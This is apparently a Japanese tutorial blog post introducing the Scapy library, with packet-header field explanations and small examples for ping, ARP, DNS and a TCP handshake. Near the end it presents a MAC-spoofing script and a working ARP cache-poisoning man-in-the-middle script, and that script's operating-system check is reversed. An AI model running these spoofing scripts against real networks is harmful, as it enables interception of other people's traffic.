Scapy入門

#Scapyとは
- **幅広い通信プロトコルに対応したパケット操作プログラム**
- **CTFで使える！**
- **ネットワークの勉強になる！**

###インストール
- **linux**

```bash:
pip3 install scapy-python3
```

- **mac**

```bash:
pip3 install --pre scapy
```

ipythonを入れると、自動補完してくれます

```bash:
sudo apt install ipython
```

###起動方法
terminalで下記のコマンドでインタラクティブ・モード使えます

```bash:
sudo scapy
```


もしくは

```bash:
sudo python3
>>> from scapy.all import *
```

###注意
**<font color="red">scapyはroot権限がないと実行できないです</font>**


##**ヘッダの作り方**
 - **Ethernetヘッダ**
     - `Ether()`
 - **IPヘッダ**
     - `IP()`
 - **TCPヘッダ**
     - `TCP()`
 - **ARPヘッダ**
  - `ARP()`
 - **DNSヘッダ**
  - `DNS()`

###**パケットの作り方**
- **"/"で区切るだけ**
 - `Ether()/IP()/TCP()`

###フィールドの追加方法
2通りあります。
① 引数にフィールドを書く
② 変数にいれた後にドットで指定する

```shell:①
>>> icmp = ICMP(code=2)　　　 # 引数にフィールドを指定
>>> icmp.show()            # パケットの中身を確認
###[ ICMP ]###
  type = echo-request
  code = 2
  chksum = None
  id = 0x0
  seq = 0x0

```

```shell:②
>>> icmp = ICMP()
>>> icmp.id = 10　　　 #ドットでフィールドを指定
>>> icmp.show()     # パケットの中身を確認
###[ ICMP ]###
  type = echo-request
  code = 0
  chksum = None
  id = 0xa
  seq = 0x0
```
**フィールドを指定しなくても、デフォルトで値が入っている**

```shell
>>> icmp = ICMP()
>>> icmp.show()
###[ ICMP ]###
  type = echo-request
  code = 0
  chksum = None
  id = 0x0
  seq = 0x0
```

<details><summary>フィールドとは</summary>
あて先IPアドレスやMACアドレスなどを指定する項目のこと
詳しくは、[フィールド](#フィールド)
</details>

###その他
- **```packet.show()```**
 - packetの中身を整形して出力 
- **```packet.summary()```**
 - wiresharkでいうところのinfoフィールドの値を見ることができる

```python:
>>> ARP().summary()
'ARP who has 0.0.0.0 says 192.168.3.12'
```
- **```ls(ヘッダ)```**
 - 指定したヘッダに対応しているフィールドを調べることができる

```shell:
>>> ls(IP)
version    : BitField             = (4)
ihl        : BitField             = (None)
tos        : XByteField           = (0)
len        : ShortField           = (None)
id         : ShortField           = (1)
flags      : FlagsField           = (0)
frag       : BitField             = (0)
ttl        : ByteField            = (64)
proto      : ByteEnumField        = (0)
chksum     : XShortField          = (None)
src        : Emph                 = (None)
dst        : Emph                 = ('127.0.0.1')
options    : PacketListField      = ([])
```

- **```ls()```**
 - 作成できるプロトコル一覧を表示
- **```lsc()```**
 - 関数一覧表示    
- **```dir()```**
 - 変数一覧表示 
-  **```hexdump(パケット)```**
 - 作ったパケットを16進数で表示  
- **```conf.verb = 0```**
 - 「パケットを送信（受信）しました」などの、説明を非表示にする  

##パケットの送受信
- **```send(packet)```**
 - レイヤ3でパケットを送信 
- **```sendp(packet)```**
 - レイヤ2でパケットを送信 
- **```sr(packet)```**
 - レイヤー3でパケットを送信し、レスポンスが返ってくる（返答をすべて受信）
- **```sr1(packet)```**
 - レイヤ3でパケットを送信し，その応答の1つ目がレスポンスとして返ってくる
- **```srp(packet)```**
 - レイヤー2でパケットを送信し、レスポンスが返ってくる（返答をすべて受信） 
- **```srp1(packet)```**
 - レイヤー2にでパケットを送信し、その応答の1つ目がレスポンスとして返ってくる
- **```srflood(packet)```**
 - レイヤー3でパケットを送信し続ける 
- **```srpflood(packet)```**
 - レイヤー2でパケットを送信し続ける 
- **`send(packet,timeout=1,iface='eth0')`**
 - タイムアウト時間と送信先インターフェースを指定することができる

**```p```**がついてる関数は、レイヤ2でパケットを送信します
また、第２引数に**```verbose = 0```**を指定すると、「送信（受信）しました」などの説明を非表示にできます。
送るたびに、書くのが面倒な場合は、**```conf.verb = 0```**と宣言しておくと、いちいち書かなくて済む


#パケット解析

###Pcapファイルの読み込み
- **```rdpcap(pcapファイル)```**
 - pcapファイルを読み込むことができる 
- **```packet[n]```**でn+1番目のパケットにアクセスできる

```shell:packet.sh
>>> packet=rdpcap("example.pcap")
>>> packet
<example.pcap: TCP:19 UDP:9 ICMP:0 Other:2>
>>> packet[0]
<Ether  dst=01:00:5e:7f:ff:fa src=30:f7:72:3b:08:24 type=0x800
 |<IP  version=4L ihl=5L tos=0x0 len=165 id=0 flags=DF frag=0L ttl=4 proto=udp chksum=0xc2a3 src=192.168.3.2 dst=239.255.255.250 options=[]
 |<UDP  sport=36259 dport=1900 len=145 chksum=0xb5a8 
|<Raw  load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nM
```
- **```wireshark（packet）```**
 - 変数packetの中身をWiresharkで表示することができる 
- **```wrpcap（'sample.pcap',packet）```**
 - 変数packetの中身をsample.pcapに書き込みことができる 


#フィールド
**ヘッダごとに、指定するフィールドをまとめてみました。**

##EthernetⅡヘッダ
**まず,```ls(ヘッダ)```でどんなフィールドがあるか調べる**

```python:EthernetⅡ.py
>>> ls(Ether)
dst        : DestMACField                        = (None)
src        : SourceMACField                      = (None)
type       : XShortEnumField                     = (36864)

```
- **`dst(destination)`**
 - あて先MACアドレス
- **`src（source）`**
 - 送信元MACアドレス
- **`type`**
 - EthernetⅡの次に続くプロトコルを2バイトで指定するフィールド
 - <table><th> イーサタイプ</th><th>　　　プロトコル</th></tr><tr><th>0x0800</th><th>IPv4</th></tr><tr><th>0x86dd</th><th>IPv6</th></tr><tr><th>0x0806</th><th>ARP</th></tr><tr><th>0x8035</th><th>RARP</th></tr><tr><th>0x8863</th><th>PPPoE(Discovery Stage)</th></tr><tr><th>0x8864</th><th>PPPoE(Session Stage)</th></tr></table>




##ARPヘッダ

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>ARPヘッダ</th>
   </tr>
</table>

```python:arp.py
>>> ls(ARP)
hwtype     : XShortField                         = (1)
ptype      : XShortEnumField                     = (2048)
hwlen      : ByteField                           = (6)
plen       : ByteField                           = (4)
op         : ShortEnumField                      = (1)
hwsrc      : ARPSourceMACField                   = (None)
psrc       : SourceIPField                       = (None)
hwdst      : MACField                            = ('00:00:00:00:00:00')
pdst       : IPField                             = ('0.0.0.0')

```
- **`hwtype（hardware type）`**
 - データリンク層のプロトコルの種類を指定するフィールド
 -  デフォルトでは、『1（0x1）』が入ってるが、これはEthernetⅡを使うことを意味している
- **`ptype（protocol type）`**
 - ネットワーク層のプロトコルを表すフィールド
 - デフォルトでは、『2048（0x800）』という値が入り、IPが指定されている
- **`hwlen（hardware length）`**  
 - データリンク層のアドレスのサイズを表すフィールド
 - デフォルトではMACアドレスのサイズである『6（0x6）』という値が指定されている   
- **`plen（protocol length）`**
 - ネットワーク層のプロトコルのアドレスのサイズを表すフィールド
 - デフォルトでは、IPアドレスのサイズである『4（0x4）』が指定されている  
- **`op（opcode）`**
 - ARPで行う処理の種類を指定するフィールド
 - デフォルトでは、IPアドレスをもとにMACアドレスを問い合わせるARP要求ブロードキャストを意味する『1（0x1）』が入っている
 - ARP要求に対して、該当する機器がMACアドレスおよびIPアドレスを問い合わせ元に返答するARP応答ユニキャストでは『2（0x2）』が入る
- **`hwsrc（hardware source）`**
 - ARPを送信する端末のMACアドレス  
- **`psrc（ip source）`**
 - ARPを送信する端末のIPアドレス 
- **`hwdst（hardware destination）`**
 - ARPで解決したいMACアドレス（解決したいと言っても、最初はMACアドレスを知りようがないのでダミーMACアドレスを入れる）
 - デフォルトでは、ダミーMACアドレス『00:00:00:00:00:00』 が指定されている
- **`pdst（ip destination）`**
 - ARPで解決したいIPアドレス

<details><summary>個人的に躓いたところ</summary>
<strong>Q1.EthernetパケットとARPパケットの両方で、あて先MAC/送信元MACを指定しているのはなぜか？</strong>
　⇒ARP要求を投げるノードが必ずしも応答を受けとりたいノードとは限らないため、そのような仕様になっている。<br>
<strong>Q2.送信元IPとあて先IPのどっちに指定した、IPアドレスに対応したMACアドレスが返ってくるのか？</strong>
　⇒あて先IPです。ARP要求は、Ethernetパケットで、ブロードキャストすることによって、LAN内の全端末にARP要求が届き、それを受けっとたノードはあて先IPアドレスが自分のIPアドレスと一致した場合にだけ応答するという仕組みになっているからです。
</details> 




##IPヘッダ

```python:IP.py
>>> ls(IP)
version    : BitField (4 bits)                   = (4)
ihl        : BitField (4 bits)                   = (None)
tos        : XByteField                          = (0)
len        : ShortField                          = (None)
id         : ShortField                          = (1)
flags      : FlagsField (3 bits)                 = (<Flag 0 ()>)
frag       : BitField (13 bits)                  = (0)
ttl        : ByteField                           = (64)
proto      : ByteEnumField                       = (0)
chksum     : XShortField                         = (None)
src        : SourceIPField                       = (None)
dst        : DestIPField                         = (None)
options    : PacketListField                     = ([])
```
- **`version`**
 - IPのバージョンを指定するフィールド
 - デフォルトではIPv4という意味の『4（0x04）』が指定されている 
- **`ihl（internet header length）`**
 - IPv4のヘッダ長を指定するフィールド
 - 端末は、この値を見ることによって、どこまでがIPヘッダーであるかを知る事ができる。
 - IPヘッダーの長さは基本的に20バイト（160b = 32b×5）なので『5』が入ることになります。
- **`tos（type of service）`**
 - 通信の品質を定めているフィールド
 - <table><tr><th colspan="2">TOSフィールド内の優先順位ビットの値</th></tr><tr><th>値</th><th>優先順位</th></tr><tr><th>000</th><th>標準</th></tr><tr><th>001</th><th>優先</th></tr><tr><th>010</th><th>即時</th></tr><tr><th>011</th><th>速報</th></tr><tr><th>100</th><th>優先速報</th></tr><tr><th>101</th><th>重大</th></tr><tr><th>110</th><th>インターネットワーク制御</th></tr><tr><th>111</th><th>ネットワーク制御</th></tr></table>
- **`len（length）`**
 - IPパケットの全長サイズ
 - IPパケットは、EthernetⅡだけでなく、ブロードバンドで利用するPPPoEやPPPなどといったレイヤ2の様々なプロトコルを使えるため、データリンクに応じてサイズを変えられるようになっている。
- **`id（identification）`**
 - 送信するパケットを識別するための値
- **`flags`**
 - フラグメントを指定するフィールド
     - 大きなサイズのIPパケットを一度に送ることができない場合に、複数のIPパケットに分割したり結合したりする機能のこと（3bitで構成されている）
     - `Reservedビット`
         - 未使用で必ず『0』になる
     - `DF（Don't Fragment）`
         - 『0』‥分割可
         - 『1』‥分割不可
     - `MF（More Fragments）`
         - 『0』‥最後のパケット
         - 『1』‥途中のパケット
- **`flag`**
 - フラグメントオフセット
 - 元のデータの何バイト目からのデータなのかを示している（１番目のパケットであれば『0』）
- **`ttl（time to live）`**
 - IPパケットの寿命
 - ルータなどの中継装置を通過するたびに、1ずつ減算されていく
- **`proto（protocol）`**
 - IPの次のレイヤのヘッダを1バイトで表す
- <table><tr><th colspan="2">主なプロトコル番号とカプセル化されるプロトコル</th></tr><tr><th>プロトコル番号</th><th>プロトコル</th></tr><tr><th>1</th><th>ICMP</th></tr><tr><th>6</th><th>TCP</th></tr><tr><th>17</th><th>UDP</th></tr><tr><th>50</th><th>ESP</th></tr><table>
- **`chksum（checksum）`**
 - IPヘッダの内容を確認し、ヘッダに誤りがないかチェックする
- **`src（source）`**
 - 送信元IPアドレス
- **`dst（destination）`**
 - あて先IPアドレス
- **`options`**
 - 特別な設定をするときに使う

##TCPヘッダ

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>IPヘッダ</th>
        <th>TCPヘッダ</th>
    </tr>
</table>


```python:tcp.py
>>> ls(TCP)
sport      : ShortEnumField                      = (20)
dport      : ShortEnumField                      = (80)
seq        : IntField                            = (0)
ack        : IntField                            = (0)
dataofs    : BitField (4 bits)                   = (None)
reserved   : BitField (3 bits)                   = (0)
flags      : FlagsField (9 bits)                 = (<Flag 2 (S)>)
window     : ShortField                          = (8192)
chksum     : XShortField                         = (None)
urgptr     : ShortField                          = (0)
options    : TCPOptionsField                     = ([])
```
- **`sport（source port）`**
 - 送信元ポート番号  
- **`dport（destination port）`**
 - あて先ポート番号 
- **`seq（sequence）`**
 - パケットの順序番号 
- **`ack(acknowledgement)`**
 - <details><summary>確認応答番号</summary>クライアントがサーバに対して、『次にこのシーケンス番号以降のデータをください』とお願いするためのフィールド</details>
- **`dataofs（data offset）`**
 - TCPヘッダの長さ
- **`reserved`**
 - このフィールドは将来の拡張のために用意されていて、通常はすべて「0」がセットされる 
- **`flags`**
 - コネクションの状態を制御するフィールド
 - 初期値はすべて『0』で、値が『1』の場合にそれぞれのフラグが有効となる
 - `CWR`
 - `ECE`
 - `URG（URGENT）`
     - 緊急を表すフラグ 
 - `ACK（ACKNOWLEDGEMENT）`
     - 確認応答を表すフラグ
 - `PSH（PUSH）`
     - 速やかにアプリケーションにデータを渡すフラグ
 - `RST（RESET）`
     - コネクションを強制切断するフラグ
 - `SYN（SYNCHRONIZE）`
     - コネクションを開始するフラグ
 - `FIN（FINISH）`
     - コネクションを終了するフラグ 
- **`window`**
 - <details><summary>ウィンドウサイズ</summary>送信側に空いているバッファサイズを通知する</details>
- **`chksum（checksum）`**
 - TCPセグメントのエラー確認 
- **`urgptr（urgent pointer）`**
 - コントロールビットの URG フラグが『1』になっている時にだけ、緊急データを示す最後のバイトのシーケンス番号がセットされる
- **`options`**
 - 特別な設定をするためのフィールド

##UDPヘッダ

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>IPヘッダ</th>
        <th>UDPヘッダ</th>
    </tr>
</table>

```python:UDP.py
>>> ls(UDP)
sport      : ShortEnumField                      = (53)
dport      : ShortEnumField                      = (53)
len        : ShortField                          = (None)
chksum     : XShortField                         = (None)
```
- **`sport（source port）`**
 - 送信元ポート番号 
- **`dport（destination port）`**
 - あて先ポート番号 
- **`len（length）`**
 - UDPデータグラムのサイズ 
- **`chksum（checksum）`**
 - 受け取ったデータグラムが壊れていないか、整合性のテェックに使用される16bitのフィールド


##ICMPヘッダ

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>IPヘッダ</th>
        <th>ICMPヘッダ</th>
    </tr>
</table>


```python:icmp.py
>>> ls(ICMP)
type       : ByteEnumField                       = (8)
code       : MultiEnumField (Depends on type)    = (0)
chksum     : XShortField                         = (None)
id         : XShortField (Cond)                  = (0)
seq        : XShortField (Cond)                  = (0)
ts_ori     : ICMPTimeStampField (Cond)           = (46455505)
ts_rx      : ICMPTimeStampField (Cond)           = (46455505)
ts_tx      : ICMPTimeStampField (Cond)           = (46455505)
gw         : IPField (Cond)                      = ('0.0.0.0')
ptr        : ByteField (Cond)                    = (0)
reserved   : ByteField (Cond)                    = (0)
length     : ByteField (Cond)                    = (0)
addr_mask  : IPField (Cond)                      = ('0.0.0.0')
nexthopmtu : ShortField (Cond)                   = (0)
unused     : ShortField (Cond)                   = (0)
unused     : IntField (Cond)                     = (0)
```
- **`type`**
 - 0 → エコー応答（Echo Reply）
 - 3 → 宛先到達不能（Destination Unreachable）
 - 4 → 転送抑制支持（Souce Quench）
 - 5 → 最適経路通知（Redirect）
 - 8 → Echo要求（Echo Request）
 - 9 → ルータ通知(Router Advertisement)
 - 10 → ルータ選択(Router Selection)
 - 11 → 時間超過によるパケット破棄（Time Exceeded）
 - 12 → 誤ったパラメータによるエラー
 - 13 → タイムスタンプ要求
 - 14 → タイムスタンプ応答
- **`code`**
 - 0‥ネットワーク到達不能
 - 1‥ホストへ到達不能
 - 2‥そのプロトコルは使用できない
 - 3‥対象ポートが閉じている
 - 4‥IPパケット分割不可 
 - 5..指定された経路で通信できない
- **`chksum（checksum）`**
 - エラーチェックを行うためのフィールド 
- **`id（identification）`**
 - ICMPメッセージが複数ある場合に、それぞれを区別するために用紙された識別フィールド 
- **`seq（sequence）`**
 - 連続してpingを送信する際に、それぞれのpingを区別するための順序番号 
- **`ts_ori（timestamp original）`**
 - 開始タイムスタンプ 
- **`ts_rx（timestamp）`**
 - 受信タイムスタンプ 
- **`ts_tx（timestamp）`**
 - 送信タイムスタンプ 
- **`gw（gateway）`**
 - ゲートウェイアドレス 
- **`ptr（pointer）`**
- **`reserved`**
 - 予約ビット 
- **`length`**
- **`addr_mask`**
- **`nexthopmtu`**



##DNSヘッダ

**ゾーン転送はTCP53番ポート**

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>IPヘッダ</th>
        <th>TCPヘッダ</th>
        <th>DNSヘッダ</th>
    </tr>
</table>

**名前解決はUDP53番ポート**

<table>
    <tr>
        <th>Ethernetヘッダ</th>
        <th>IPヘッダ</th>
        <th>UDPヘッダ</th>
        <th>DNSヘッダ</th>
    </tr>
</table>


```python:dns.py
>>> ls(DNS)
id         : ShortField                          = (0)
qr         : BitField (1 bit)                    = (0)
opcode     : BitEnumField (4 bits)               = (0)
aa         : BitField (1 bit)                    = (0)
tc         : BitField (1 bit)                    = (0)
rd         : BitField (1 bit)                    = (1)
ra         : BitField (1 bit)                    = (0)
z          : BitField (1 bit)                    = (0)
ad         : BitField (1 bit)                    = (0)
cd         : BitField (1 bit)                    = (0)
rcode      : BitEnumField (4 bits)               = (0)
qdcount    : DNSRRCountField                     = (None)
ancount    : DNSRRCountField                     = (None)
nscount    : DNSRRCountField                     = (None)
arcount    : DNSRRCountField                     = (None)
qd         : DNSQRField                          = (None)
an         : DNSRRField                          = (None)
ns         : DNSRRField                          = (None)
ar         : DNSRRField                          = (None)
```
- **`id（identification）`**
 - 問い合わせを区別する識別子 
 - クエリ要求とクエリ応答で共通の値になる
- **`qr（query/response）`**
 - 問い合わせ/応答フラグ 
     - 0‥クエリ要求
     - 1‥クエリ応答
- **`opcode（operation code）`**
 - 問い合わせの種類
     - 0‥正引き
     - 1‥逆引き
     - 2‥サーバの状態を要求する問い合わせ  
- **`aa（authoritative answer）`**
 - そのドメインに対するコンテンツサーバーかどうかを表す
     - 0‥オーソリティあり
     - 1‥オーソリティなし
- **`tc（truncation）`**
 - 切り捨て
     - 0‥データが512バイト未満
     - 1‥データが512バイト異常  
- **`rd（recursion desired）`**
 - 再帰要望
     - 0‥反復問い合わせ(フルサービスリゾルバ→コンテンツサーバ)
     - 1‥再帰問い合わせ（スタブリゾルバ→フルサービスリゾルバ）
- **`ra（recursion available）`**
 - 再帰有効
     - 0‥再帰不可（コンテンツサーバ）
     - 1‥再帰可能（フルサービスリゾルバ）  
- **`z`**
 - 将来的な拡張用。ゼロが入る 
- **`ad`**
 - DNSSEC検証に成功したことを示す（応答）／応答のADビットを理解できることを示す（問い合わせ）
- **`cd`**
 - DNSSEC検証の禁止 
- **`rcode（response code）`**
 - 応答コード
     - 0‥正常応答
     - 1..フォーマットエラー（DNSサーバーがそのクエリを理解できなかった）
     - 2..サーバー障害(DNSサーバがそのクエリを処理できなかった)
     - 3..名前エラー（そのクエリのドメイン名が存在しなかった）
     - 4..未実装（そのクエリをサポートしていなかった）
     - 5..拒否（ポリシーによって拒否した）
     - 6~15..将来のために予約  
- **`qdcount`**
 - 問い合わせ(Question)セクションの数で、常に1 
 - クライアントが指定する。
- **`ancount`**
 - 応答（Answer）セクションのリソースレコード（RR）数 
 - サーバが指定する。
- **`nscount`**
 - 委任情報（Authority）セクションのRR数 
 - サーバが指定する
- **`arcount`**
 - 付加情報（Additional）セクションのRR数 
 - サーバが指定する。
- **`qd`**

qdは、DNSサーバに対する質問がセットされるセクション

<table>
<tr><th>フィールド</th><th>内容</th></tr>
<tr><td>qname</td><td>問い合わせるドメイン名</td></tr>
<tr><td rowspan="9">qtype</td><td>問い合わせの種類</td></tr>
<tr><td>A：ホストアドレス</td></tr>
<tr><td>NS：コンテンツサーバ</td></tr>
<tr><td>CNAME:別名</td></tr>
<tr><td>SOA：管理情報</td></tr>
<tr><td>PTR：IPアドレス</td></tr>
<tr><td>MX：メールサーバー</td></tr>
<tr><td>TXT：コメント</td></tr>
<tr><td>AXFR：ゾーン転送要求</td></tr>
<tr><td rowspan="2">qclass</td><td>問い合わせのクラスを表す</td></tr>
<tr><td>IN:インターネット</td></tr>
</table>
<details><summary>『www.google.com』を問い合わせる場合</summary>
**```DNS(qd=DNSQR(qname="www.google.com",qtype="A",qclass="IN"))```**
</details>

- **`an/ns/ar`**

これら3つのセクションには、**ゾーンファイルを構成するリソースレコードの情報**がセットされ、
基本的には**同じメッセージフォーマット**が適用される。

`an`は、質問したタイプに対する**回答**リソースレコードがセットされるセクション

`ns`は、質問したドメイン名に対して**オーソリティを持つサーバ**のレコードが入る（通常はNS） 

`ar`、は**付加情報**がセットされるセクション
ほとんどの場合、nsセクションで指定されたコンテンツサーバのIPアドレスがセットされる

問い合わせの場合は、回答・オーソリティ・追加の数は『0』
応答の場合は、問い合わせの『質問の数』がそのまま応答に入る

<table>
<tr><th>フィールド</th><th>内容</th></tr>
<tr><td>rrname</td><td>対象となるドメイン名</td></tr>
<tr><td rowspan="8">type</td><td>問い合わせの種類を表す</td></tr>
<tr><td>A:ホストアドレス</td></tr>
<tr><td>NS：コンテンツサーバ</td></tr>
<tr><td>CNAME：別名</td></tr>
<tr><td>SOA：管理情報</td></tr>
<tr><td>PTR：IPアドレス</td></tr>
<tr><td>MX：メールサーバー</td></tr>
<tr><td>TXT:コメント</td></tr>
<tr><td rowspan="2">rclass</td><td>問い合わせのクラスを表す</td></tr>
<tr><td>IN:インターネット</td></tr>
<tr><td>ttl</td><td>リソースレコードの生存時間（秒）</td></tr>
<tr><td>rdlen</td><td>リソースレコードの長さ（バイト）</td></tr>
<tr><td>rdata</td><td>リソースレコードの情報</td></tr>
</table>


#実装編
これまでの知識を応用して、実際にパケットを作ってみたいと思います

##pingを作る
googleにpingを放つコードを書いてみます
ちゃんとpingが打ててるか確認するために、戻り値を表示します

```python:ping.py
from scapy.all import *

ping = IP(dst="www.google.com")/ICMP()
ans  = sr1(ping)
ans.show()
```
216.58.199.228（google） ⇒ 192.168.3.12にちゃんとpingが返って来ている

```a:ping.py(戻り値)
###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 28
  id        = 0
  flags     = 
  frag      = 0
  ttl       = 55
  proto     = icmp
  chksum    = 0x200e
  src       = 216.58.199.228
  dst       = 192.168.3.12
  \options   \
###[ ICMP ]### 
     type      = echo-reply
     code      = 0
     chksum    = 0x0
     id        = 0x0
     seq       = 0x0
```

##ARP要求
特定のIPアドレスのMACアドレスを得るためのARP要求を行うコードを書いてみます。
ARPはLAN内で行うので、レイヤー2に送る**```srp1```**関数を使います

```python:arp.py
from scapy.all import *

arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.2")
res = srp1(arp)
res.show()
```
**```hwsrc```を見ると、ちゃんとMACアドレスが返って来てるのがわかる**

```a:arp.py(戻り値)
###[ Ethernet ]### 
  dst       = 08:00:27:95:8c:5e
  src       = 68:ec:c5:d2:43:3f
  type      = 0x806
###[ ARP ]### 
     hwtype    = 0x1
     ptype     = 0x800
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 68:ec:c5:d2:43:3f
     psrc      = 192.168.3.2
     hwdst     = 08:00:27:95:8c:5e
     pdst      = 192.168.3.12

```


##名前解決
googleの名前解決をしてみたいと思います。
DNSパケットの構造は**```IP()/UDP()/DNS()```**です。
IPパケットのあて先は、Google Public DNS（8.8.8.8）にしました。

```python:resolve.py
from scapy.all import *

answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(qname="www.google.com")),verbose=0)
print answer[DNS].summary()
```

```a:reslove.py(戻り値)
DNS Ans "172.217.26.4" 
```

##3-way-handshake
**youtubeと3-way-handshakeしたいと思います。下図の通り①のseq番号は何でもいいです
また、sportはランダムで、dportはhttpsなので、443です。**
<img src="https://qiita-image-store.s3.amazonaws.com/0/253111/a480ece0-71ac-a693-432b-a847a8c6ec10.jpeg" width="600" height="600">

```python:3way.py
from scapy.all import *
import random

conf.verb = 0

sport  = random.randint(1024,65535)
seq    = random.randint(0,1000)
ip     = IP(dst='www.youtube.com')

SYN    = TCP(sport=sport,dport=443,flags='S',seq=seq) # ①
SYNACK = sr1(ip/SYN) # ②
ACK    = TCP(sport=sport, dport=443, flags='A', seq=SYNACK.ack , ack=SYNACK.seq + 1) # ③
send(ip/ACK)
```


##LAN内のMACアドレスとIPアドレスを調べる
ARPは宛先IPアドレスに指定したMACアドレスを教えてくれる

```python:
from scapy.all import *

ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=2)
ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
```

```a:結果
"""
xx:xx:xx:xx:xx:xx 192.168.3.2
xx:xx:xx:xx:xx:xx 192.168.3.1
xx:xx:xx:xx:xx:xx 192.168.3.6
xx:xx:xx:xx:xx:xx 192.168.3.4
"""
```
なお、上のスクリプトは**```arping("192.168.3.*")```**という組み込み関数を使えば一発でできる。


##MACアドレスの偽装
ARPパケットを受信したノードは、送信元MACアドレスを元に、ARPテーブルを作っているので、そこを任意のものにすれば良い

```python:fake_mac_addr.py
from scapy.all import *

target_mac    = raw_input("target_mac >>")
fake_mac_addr = raw_input("fake_mac_addr >>")

eth = Ether(dst=target_mac)

arp       = ARP()
arp.op    = 2   #ARP応答
arp.hwsrc = fake_mac_addr
arp.hwdst = target_mac

frame = eth/arp
sendp(frame)
```

##ARP Spoofing
**『ARP要求とARP応答は認証がないので、偽のMACアドレスのARP応答を送ると、受信側はそのリクエストを受け付けてしまう』という仕組みを利用して、arpテーブルを書き換えて、通信を『target ⇄ 攻撃者 ⇄ gateway』のようにする**

```python:arp_spoofing.py
# coding:utf-8
from scapy.all import *
import sys
import subprocess
import os

# IPパケット転送機能をONにする
print "[*] Enabling IP Forwarding...\n"
if os.name == 'nt':
    command = ["echo 1 > /proc/sys/net/ipv4/ip_forward"]
    subprocess.call(command,shell=True)
elif os.name == 'posix':
    command = ["sysctl -w net.inet.ip.forwarding = 1"]
    subprocess.call(command,shell=True)
else:
    print("error")
    sys.exit()

conf.verb = 0 

target_ip     = raw_input("target_ip >> ")
target_mac    = raw_input("target_mac >> ")
gateway_ip    = raw_input("gateway_ip >> ")
gateway_mac   = raw_input("gateway_mac >> ")
fake_mac_addr = raw_input("fake_mac_addr >> ")

def main():
    try:
        print "[*] Start ARP_spoofing...[CTRL-C to stop]"
        poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
    except KeyboardInterrupt:
        pass
    finally:
        restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
        sys.exit(0)

def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
    # ARP応答
    poisoning_target       = Ether(dst=target_mac)/ARP()
    poisoning_target.op    = 2                # ARP応答ユニキャスト
    poisoning_target.psrc  = gateway_ip       # あて先IPにゲートウェイのアドレス
    poisoning_target.pdst  = target_ip        # 通信相手のIPアドレス

    poisoning_gateway      = Ether(dst=gateway_mac)/ARP()
    poisoning_gateway.op   = 2
    poisoning_gateway.psrc = target_ip
    poisoning_gateway.pdst = gateway_ip
    # MACアドレス偽装
    frame = Ether(dst = target_mac)/ARP(op=2,hwsrc = fake_mac_addr,hwdst = target_mac)

    while True:
        sendp(poisoning_target)
        sendp(poisoning_gateway)
        sendp(frame)
    print "[*] Finished."
    return

def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
    print "[*] Restoring target."
    arp       = ARP()
    arp.op    = 1                 # ARP要求ブロードキャスト
    arp.psrc  = gateway_ip        # ARP要求を行った送信元IPアドレス
    arp.hwsrc = gateway_mac       # 送信元MAC
    arp.pdst  = target_ip         # あて先IPアドレス
    arp.hwdst = target_mac        # あて先MACアドレス
    send(arp, count = 3)
    

    print "Disabling IP Forwading...\n"
    if os.name == 'nt':
        command = "echo 0 > /proc/sys/net/ipv4/ip_forward"
        subprocess.call(command,shell=True)
    elif os.name == 'posix':
        command = "sysctl -w net.inet.ip.forwarding = 0"
        subprocess.call(command,shell=True)

if __name__ == "__main__":
    main()
```
<h5>MACアドレスを偽装しているのは、targetのarpテーブルに、攻撃者のMACアドレスが2つ存在してしまうのを防ぐため</h5>

</summary></details>

#総評
Scapyに**無限の可能性**を感じた。
普段使っているプロトコルの仕組みや、wiresharkの通信を見て何をやってるのかがわかるようになったので、まとめてよかった。

#参考
<a href="https://scapy.readthedocs.io/en/latest/usage.html">公式ドキュメント</a>
<a href="https://www.amazon.co.jp/dp/4873117313/ref=asc_df_48731173132560862/?tag=jpgo-22&creative=9303&creativeASIN=4873117313&linkCode=df0&hvadid=295719984664&hvpos=1o1&hvnetw=g&hvrand=12396846974396512240&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=1009324&hvtargid=pla-579773161647&th=1&psc=1" >サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考</a>
<a href="https://www.amazon.co.jp/%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%82%AD%E3%83%A3%E3%83%97%E3%83%81%E3%83%A3%E5%85%A5%E9%96%80-%E7%AC%AC3%E7%89%88-LAN%E3%82%A2%E3%83%8A%E3%83%A9%E3%82%A4%E3%82%B6Wireshark%E6%B4%BB%E7%94%A8%E8%A1%93-%E7%AB%B9%E4%B8%8B-%E6%81%B5/dp/4897979501/ref=sr_1_10?s=books&ie=UTF8&qid=1546447595&sr=1-10&keywords=wireshark">パケットキャプチャ入門 第3版 (LANアナライザWireshark活用術)</a>
<a href="https://www.amazon.co.jp/3%E5%88%86%E9%96%93DNS%E5%9F%BA%E7%A4%8E%E8%AC%9B%E5%BA%A7-%E7%B6%B2%E9%87%8E-%E8%A1%9B%E4%BA%8C/dp/4774138630">3分間DNS基礎講座</a>
